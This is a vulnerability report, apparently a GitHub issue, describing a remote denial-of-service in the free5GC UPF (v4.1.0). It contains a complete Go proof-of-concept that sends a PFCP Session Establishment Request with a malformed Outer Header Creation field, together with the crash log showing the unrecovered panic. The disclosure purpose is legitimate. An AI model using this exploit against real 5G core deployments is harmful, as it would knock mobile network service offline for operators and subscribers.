| 설명 | ## Bug Decription
free5GC UPF can be crashed remotely via its PFCP UDP endpoint by sending a PFCP Session Establishment Request that contains a CreateFAR with Outer Header Creation fields crafted to an invalid/too-short layout.
In the UPF PFCP handling path, the request is processed as a new session and then forwarded into the GTP5G forwarder logic (Gtp5g.CreateFAR() → newForwardingParameter()), which parses the OuterHeaderCreation IE using github.com/wmnsk/go-pfcp/ie:
ie.(*OuterHeaderCreationFields).UnmarshalBinary(...) attempts to decode fields and calls binary.BigEndian.Uint32(...)
This results in panic: runtime error: index out of range [3] with length 3 due to insufficient buffer length for a Uint32 read.
The panic is not recovered in the UPF PFCP server main loop (pfcp.go:86), so the entire UPF process crashes, resulting in a remote denial of service.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PA1-03: minimal PFCP PoC to trigger UPF panic on OuterHeaderCreation parsing.
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
func main() {
targetIP := flag.String("target", "127.0.0.1", "Target UPF IP address")
targetPort := flag.Int("port", 8805, "Target UPF PFCP port")
localIP := flag.String("local", "10.100.200.6", "NodeID IP address (empty to auto-detect)")
flag.Parse()
targetAddr := fmt.Sprintf("%s:%d", *targetIP, *targetPort)
raddr, err := net.ResolveUDPAddr("udp", targetAddr)
if err != nil {
log.Fatalf("resolve target address: %v", err)
}
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("create UDP connection: %v", err)
}
defer conn.Close()
nodeID := *localIP
if nodeID == "" {
nodeID = conn.LocalAddr().(*net.UDPAddr).IP.String()
}
if err := establishAssociation(conn, nodeID); err != nil {
log.Fatalf("association failed: %v", err)
}
time.Sleep(200 * time.Millisecond)
if err := triggerPanic(conn, nodeID); err != nil {
log.Printf("send crash request failed: %v", err)
}
}
func establishAssociation(conn *net.UDPConn, nodeID string) error {
req := message.NewAssociationSetupRequest(
1,
ie.NewNodeIDHeuristic(nodeID),
ie.NewRecoveryTimeStamp(time.Now()),
)
payload, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal AssociationSetupRequest: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send AssociationSetupRequest: %w", err)
}
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
buf := make([]byte, 2048)
n, err := conn.Read(buf)
if err != nil {
return fmt.Errorf("AssociationSetupResponse timeout: %w", err)
}
msg, err := message.Parse(buf[:n])
if err != nil {
return fmt.Errorf("parse AssociationSetupResponse: %w", err)
}
if msg.MessageType() != message.MsgTypeAssociationSetupResponse {
return fmt.Errorf("unexpected response type: %d", msg.MessageType())
}
return nil
}
func triggerPanic(conn *net.UDPConn, nodeID string) error {
req := message.NewSessionEstablishmentRequest(
0, 0, 0xDEADBEEF001, 2, 0,
ie.NewNodeIDHeuristic(nodeID),
ie.NewFSEID(0x0001, net.ParseIP(nodeID), nil),
ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(0x02),
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
ie.NewOuterHeaderCreation(0xC0C0, 0, "", "", 0, 0, 0),
),
),
)
payload, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal SessionEstablishmentRequest: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send SessionEstablishmentRequest: %w", err)
}
return nil
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the UPF address: `go run ./main.go -target 10.100.200.2 -port 8805`
## Expected Behavior
UPF should validate the length/format of the OuterHeaderCreation IE before parsing.
If the IE is malformed or too short, UPF should reject the PFCP request gracefully (e.g., respond with a PFCP error cause) and continue running.
PFCP request handling should not allow a single malformed message to crash the entire UPF process (panic recovery / robust error handling).
## Screenshots
<img width="1081" height="562" alt="Image" src="https://github.com/user-attachments/assets/7c5fe828-bdd1-4a16-83a2-199e78e13e5b" />
## Environment
- free5GC Version: v4.1.0
- OS: Ubuntu 22.04 Server
- Kernel version: [e.g. 5.15.0-0-generic]
- go version: go version go1.24.9 linux/amd64
## Trace Files
### Configuration Files
Provide the configuration files.
If you are unsure of what to do, please zip free5gc's `config` folder and upload it here.
### PCAP File
Dump the relevant packets and provide the PCAP file.
If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here.
### Log File
```
2026-01-14T08:32:26.003375804Z [INFO][UPF][PFCP][LAddr:10.100.200.2:8805] handleAssociationSetupRequest
2026-01-14T08:32:26.003385087Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805] remote nodeid: 10.100.200.6
2026-01-14T08:32:26.003392283Z [INFO][UPF][PFCP][LAddr:10.100.200.2:8805][CPNodeID:10.100.200.6] New node
2026-01-14T08:32:26.004927384Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805][RXTR:10.100.200.1:50327-1] send rsp
2026-01-14T08:32:26.205832374Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805][RXTR:10.100.200.1:50327-2] start timer(4s)
2026-01-14T08:32:26.205857695Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805][RXTR:10.100.200.1:50327-2] recv req - rxTrFound(false)
2026-01-14T08:32:26.205863886Z [INFO][UPF][PFCP][LAddr:10.100.200.2:8805] handleSessionEstablishmentRequest
2026-01-14T08:32:26.205868389Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805] remote nodeid: 10.100.200.6
2026-01-14T08:32:26.205873707Z [DEBU][UPF][PFCP][LAddr:10.100.200.2:8805] fseid.SEID: 0x1
2026-01-14T08:32:26.205885467Z [INFO][UPF][PFCP][LAddr:10.100.200.2:8805][CPNodeID:10.100.200.6][CPSEID:0x1][UPSEID:0x1] New session
2026-01-14T08:32:26.212930164Z [FATA][UPF][PFCP][LAddr:10.100.200.2:8805] panic: runtime error: index out of range [3] with length 3
goroutine 23 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:26 +0x5e
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()
/go/src/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a
panic({0x9298a0?, 0xc00039b230?})
/usr/local/go/src/runtime/panic.go:792 +0x132
encoding/binary.bigEndian.Uint32(...)
/usr/local/go/src/encoding/binary/binary.go:177
github.com/wmnsk/go-pfcp/ie.(*OuterHeaderCreationFields).UnmarshalBinary(0xc0000ed840?, {0xc0000181d8?, 0x54?, 0x54000000000008?})
/go/pkg/mod/github.com/wmnsk/[email protected]/ie/outer-header-creation.go:401 +0x2fc
github.com/wmnsk/go-pfcp/ie.ParseOuterHeaderCreationFields(...)
/go/pkg/mod/github.com/wmnsk/[email protected]/ie/outer-header-creation.go:348
github.com/wmnsk/go-pfcp/ie.(*IE).OuterHeaderCreation(0xc00006d8c0)
/go/pkg/mod/github.com/wmnsk/[email protected]/ie/outer-header-creation.go:28 +0x15f
github.com/free5gc/go-upf/internal/forwarder.(*Gtp5g).newForwardingParameter(0x0?, {0xc00001cad0, 0x2, 0xc0000ed938?})
/go/src/free5gc/NFs/upf/internal/forwarder/gtp5g.go:573 +0x1a5
github.com/free5gc/go-upf/internal/forwarder.(*Gtp5g).CreateFAR(0xc0002ec140, 0x1, 0x1?)
/go/src/free5gc/NFs/upf/internal/forwarder/gtp5g.go:667 +0x1df
github.com/free5gc/go-upf/internal/pfcp.(*Sess).CreateFAR(0xc00013ea20, 0xc00006d380)
/go/src/free5gc/NFs/upf/internal/pfcp/node.go:247 +0x66
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).handleSessionEstablishmentRequest(0xc000118c30, 0xc000402140, {0xa27410, 0xc0000d4000})
/go/src/free5gc/NFs/upf/internal/pfcp/session.go:52 +0x445
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).reqDispacher(0xc00013e9c0?, {0xa2bb00?, 0xc000402140?}, {0xa27410?, 0xc0000d4000?})
/go/src/free5gc/NFs/upf/internal/pfcp/dispacher.go:21 +0x168
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc000118c30, 0xc00006d190)
/go/src/free5gc/NFs/upf/internal/pfcp/pfcp.go:148 +0x7dc
created by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1
/go/src/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb3
```
|
|---|